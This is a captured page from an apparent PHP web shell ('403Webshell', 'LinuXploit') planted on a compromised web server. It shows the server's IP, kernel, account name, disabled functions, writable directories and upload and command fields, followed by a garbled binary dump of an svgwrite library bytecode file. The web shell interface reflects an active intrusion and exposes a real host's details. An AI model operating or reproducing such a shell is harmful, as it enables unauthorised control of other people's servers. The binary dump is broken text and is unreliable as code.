403Webshell
Server IP : 93.115.150.27  /  Your IP : 216.73.216.221
Web Server : LiteSpeed
System : Linux host2.azar.host 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
User : dorfakkh ( 1797)
PHP Version : 8.1.34
Disable Function : show_source, system, passthru, exec, popen, proc_open, mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib/python3.7/site-packages/svgwrite/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib/python3.7/site-packages/svgwrite/__pycache__/params.cpython-37.pyc
B

��](�@s ddlmZGdd�de�ZdS)�)�
get_validatorc@sheZdZdZdddgZddd�Zd	d
�Zedd��Zej	d
d��Zdd�Z
edd��Zej	dd��ZdS)�	Parametera
    .. attribute:: Parameter.debug

       *read/write* property

       * *True* : debug mode is on, all SVG attributes are checked if valid
         in the element context. Also the included SVG subelements will be
         checked if they are valid for the parent SVG element.

       * *False*: no validation checks will be done, but program execution is
         faster.

    .. attribute:: Parameter.profile

       *read/write* property

       name of the SVG profile, valid profiles are: ``'full|basic|tiny'``
    �_debug�	validator�_profileT�fullcCs||_||_dS)N)r�profile)�self�debugr�r�@/opt/alt/python37/lib/python3.7/site-packages/svgwrite/params.py�__init__!szParameter.__init__cCst|j|j�|_dS)N)rrr
r)r	rrr�_init_validator%szParameter._init_validatorcCs|jS)N)r)r	rrrr
(szParameter.debugcCs||_|��dS)N)rr)r	r
rrrr
,scCs|jdkrdSdSdS)N�tinyz1.2z1.1)r)r	rrr�get_version1s
zParameter.get_versioncCs|jS)N)r)r	rrrr7szParameter.profilecCs0|��}|dkr ||_|��ntd|��dS)zt
        :param string profile: name of the SVG profile, valid profiles are:
        ``'full|basic|tiny'``

        )rZbasicrz'%s' is not a valid profile.N)�lowerrr�
ValueError)r	rrrrr;s

N)Tr)�__name__�
__module__�__qualname__�__doc__�	__slots__r
r�propertyr
�setterrrrrrrrs

rN)Zsvgwrite.validator2r�objectrrrrr�<module>	s

Youez - 2016 - github.com/yon3zu
LinuXploit